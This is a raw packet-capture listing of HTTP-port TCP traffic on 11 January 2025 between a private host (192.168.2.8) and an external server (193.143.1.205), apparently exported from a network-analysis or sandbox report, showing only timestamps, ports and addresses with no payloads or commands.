Jan 11, 2025 02:17:17.466885090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.470591068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470616102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470628023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470647097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470659971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470671892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470684052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470689058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.470689058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.470689058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.470696926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470724106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.470817089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470858097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.470895052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.470906019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.471333027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.472500086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.475332975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.492202044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492248058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492261887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492328882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492353916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492393017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.492393017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.492393017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.492484093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492496014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.492508888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.493563890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.522104025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.522125959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.522160053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.522202015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.522728920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.522728920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.551290989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551311016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551338911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551357031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551558018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.551558018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.551609993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551620960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551637888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551659107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.551717997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551733017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551835060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551846981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551858902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551983118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.551992893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.552006960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.552026033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.552037001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.552042007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.552042007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.552042007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.552042961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.552042961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.552102089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.552155018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.552166939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.552226067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.580979109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581002951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581016064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581091881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581104040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581185102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581252098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581264973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581311941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581311941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581311941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581311941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581361055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581374884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581468105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581478119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581533909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581546068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581563950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581563950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581598997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581602097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581700087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581712961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581727982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581757069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581799030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581825972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581840038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581851959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581949949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581955910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.581962109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.581974983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582024097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582024097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582110882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582215071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582226038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582238913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582252979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582266092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582479954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582479954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582479954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582504034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582518101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582530975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582542896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582593918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582593918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582701921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582715988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582727909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582741022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582834005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582834005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.582931995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582943916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.582992077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583082914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583096027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583106995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583120108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583132982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583144903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583158970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583268881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583268881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583268881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583369970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583467960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583479881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583492994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583503962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583524942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583539009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583547115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583554029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583566904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583580017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583584070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583595037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.583602905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.583628893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.584057093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.584069967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.584080935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.584093094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.584108114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.584153891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.584153891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.584153891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586138010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586199999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586210966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586245060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586267948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586314917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586333036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586354017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586400986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586404085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586534023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586545944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586580038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586587906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586601019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586615086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586627007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586639881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586695910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586695910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586695910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586849928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586863041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586879015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586893082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586952925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586966038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.586988926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.586988926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587025881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587093115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587105036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587116957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587129116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587161064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587198973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587219954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587232113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587250948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587265015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587299109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587340117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587340117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587379932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587541103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587557077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587584019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587599039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587610006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587621927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.587657928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587657928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587658882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.587658882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.589359999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.592942953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.614696026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614773035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614784002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614835024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.614878893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614890099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614900112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614909887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.614916086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.614949942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.643980026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.643999100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644009113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644095898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644134045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644134045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644165993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644177914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644207001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644337893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644350052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644361973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644391060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644449949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644489050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644500971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644510984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644521952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644532919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644539118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644547939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.644576073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.644576073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.653536081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.657633066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.673439026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673496008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673506021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673559904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.673659086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673669100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673682928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673695087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673702002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.673738956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.673798084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673849106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.673858881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674010038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674029112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674038887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674038887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674043894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674056053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674067974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674078941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674089909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674097061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674097061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674144030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674321890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674333096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674344063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674360037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674372911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674424887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674448013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674448013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674448013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674467087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674478054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674509048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674572945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674585104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674595118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674604893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674668074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674669027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674696922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674737930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674773932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674783945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674793959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674807072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674817085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674861908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674863100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.674923897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674936056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.674961090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675000906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675013065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675025940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675030947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675038099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675043106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675126076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675126076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675225019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675235987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675256014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675276041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675298929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675326109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675345898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675359011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675370932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675384045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675394058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675395966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675409079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675410032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675422907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675446033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675462961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675611973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675659895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675672054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675681114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675692081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675704002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.675748110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675748110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.675781012 CET	49706	80	192.168.2.8	193.143.1.205
